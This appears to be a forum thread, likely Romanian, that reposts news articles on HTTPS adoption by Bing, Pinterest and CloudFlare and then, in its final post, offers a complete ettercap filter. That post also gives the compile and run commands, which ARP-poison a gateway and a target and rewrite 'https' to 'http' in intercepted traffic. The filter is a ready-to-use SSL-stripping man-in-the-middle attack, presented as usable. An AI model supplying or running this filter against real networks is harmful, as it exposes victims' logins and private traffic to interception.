Search the Community

Salutare, la ce ajuta SSL?

Microsoft product manager Duane Forrester says it will encrypt all Bing search traffic later this year. Forrester says the move follows Cupertino's 2014 decision to allow users to opt-in to HTTPS for web searches. "Beginning this (Northern hemisphere) summer, we will begin the process of encrypting search traffic by default," Forrester blogged. "This means that traffic originating from Bing will increasingly come from https as opposed to http." Microsoft will also drop query search terms from referrers strings in a bid to further shore up privacy. Web ad bods will be able to learn the queries that lead users to their pages through Microsoft's search terms report, universal event tracking, and webmaster tools. " While this change may impact marketers and webmasters, we believe that providing a more secure search experience for our users is important," Forrester says. The HTTPS move brings Microsoft up to speed with Google which began encrypting search traffic in 2011 making it compulsory in 2013, and Yahoo! which deployed HTTPS for its search in 2014. Encrypting search traffic and other non-sensitive web traffic is seen widely by privacy and security pundits as necessary to a more safer web. Source

Pinterest’s journey toward becoming a fully HTTPS website opened a lot of doors, including a potentially profitable one for hackers. The social networking site this week announced that it would begin paying cash rewards through its bug bounty program, upping the stakes from the T-shirt it originally offered last May when it kicked off the Bugcrowd-hosted initiative. The news complements Pinterest’s full adoption of encrypted communication and traffic from its website. “I feel HTTPS will soon be seen as a requirement for anyone doing business online,” said Paul Moreno, security engineering lead on Pinterest’s cloud team. Pinterest spells out the scope of its bounty program on its Bugcrowd page. The company said it will start paying between $25 and $200 for vulnerabilities found on a number of Pinterest properties, including its developer site, iOS and Android mobile applications, API, and ads pages among others. “We have a strong experimentation culture and we feel that HTTPS foundation provides the minimal baseline for us to get higher value bugs,” Moreno told Threatpost. “We are experimenting with the paid approach for these community sourced higher value bugs and will evaluate the program periodically.” Many high-value Internet properties have moved to HTTPS in the wake of the Snowden revelations. The continuous flow of leaked documents demonstrating the breadth of government surveillance and collection of personal data has accelerated a number of tech companies’ migrations to HTTPS. Moreno said that Pinterest’s move to HTTPS, however, was not without its challenges. Standing out among them was the site’s working relationships with content delivery networks (CDNs) that support HTTPS and Pinterest’s digital certificates. Other expected challenges, Moreno said, were some marginal performance issues, older browser support, mixed content warnings, and referral header removal from HTTPS to HTTP sites. Once a test was rolled out to its large Pinner community in the U.K., Moreno said some unexpected issues cropped up including CDN content that broke the site’s Pin It functionality and some sitemap files that were not updated to point to HTTPS domains. Those were addressed respectively by orchestrating a DNS change to a new CDN provider, and the implementation of a meta referrer header to support HTTPS tracking to HTTP sites. “In addition, having multiple CDN providers that supported HTTPS gave us options for performance as well as commercial leverage,” Moreno said in a blogpost announcing the move. “In the end, we enhanced the privacy of Pinners by enabling encryption while also hindering exploitation by way of man-in-the-middle attacks, session hijacking, content injection, etc. This also paved the way for future products that may require HTTPS to launch,” Moreno said. Source

After rolling out free SSL for its users last fall, CloudFlare has deployed a new level of encryption on its service that hardens and speeds up the user experience, especially when accessing domains via mobile browsers. The form of encryption, a relatively new transport layer cipher suite known as ChaCha20-Poly1305, has largely been used by Google until now. But as of yesterday, it is being used on 10 percent of CloudFlare’s HTTPS connections with more to follow. CloudFlare’s Nick Sullivan, who described the move on the company’s blog yesterday, called the cipher fast, useful and its security level “more than sufficient” for HTTPS. The algorithm is based on a combination of two other ciphers, ChaCha20 and Poly1305 MAC, both crafted by cryptographer Daniel Bernstein in 2008 and 2005 respectively. After being batted around for a bit, it surfaced in Chrome 31 in November 2013. Sullivan points out that the cipher, when paired with TLS, should excel at bridging the gap between having secure encryption on mobile browsers and APIs. While the cipher will fill that void, it also improves upon two other alternatives, RC4, which of course has its many foibles, and AES-GCM, which can cost a fortune depending on the way its implemented. It also helps that ChaCha20-Poly1305 is three times faster than AES-128-GCM on mobile services – the cipher provides 256 bits of security over GCM’s 128 – something that should reduce the strain of batteries on mobile devices. “Spending less time on decryption means faster page rendering and better battery life,” Sullivan wrote. The content delivery network explains that the change is partly fueled by the rest of the web’s fervent push towards HTTPS but that the move could also be seen as a foreshadowing of the cipher’s future widespread adoption. Sullivan acknowledges that Mozilla is planning on adding support for it in Firefox and that at the very least, using the cipher is a good fallback in case someone digs up a bug in AES-GCM, the algorithm primarily being used right now, in the near future. Source

More info: - Making the web speedier and safer with SPDY - The official Google Code blog - SPDY: An experimental protocol for a faster web - The Chromium Projects

Just place it in HTTPS.FILTER, then compile it using "etterfilter" with the command : etterfilter https.filter -o https.ef Then You good to go with : ettercap -T -q -F https.ef -M ARP:remote /GATEWAY/ /TARGET_IP/ . ## # # This filter will substitute the word 'https' with 'http' on # both HTTP requests and responses. # # based on the discussion (and contained code) on forum thread # http://forums.remote-exploit.org/backtrack-v2-0-final/8126-ettercap-filter-3.html # ## ########################## ## Zap Content Encoding ## ########################## if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string msg("[HTTP Response Filter] Encoding zapped.\n"); } } ##################### ## Replace Content ## ##################### ## # Requests if (ip.proto == TCP && tcp.dst == 80) { # msg("[HTTP Response Filter] HTTP request seen.\n"); if (search(DECODED.data, "https")) { replace("https", "http"); msg("[HTTP Response Filter] *** HTTPS ZAPPED from request\n"); } if (search(DATA.data, "https")) { replace("https", "http"); msg("[HTTP Response Filter] *** HTTPS ZAPPED from request\n"); } } ## # Response if (ip.proto == TCP && tcp.src == 80) { # msg("[HTTP Response Filter] HTTP response seen.\n"); if (search(DECODED.data, "https")) { replace("https", "http"); msg("[HTTP Response Filter] *** HTTPS ZAPPED from response\n"); } if (search(DATA.data, "https")) { replace("https", "http"); msg("[HTTP Response Filter] *** HTTPS ZAPPED from response\n"); } } Source: I'M NASRO, I PENTEST ^^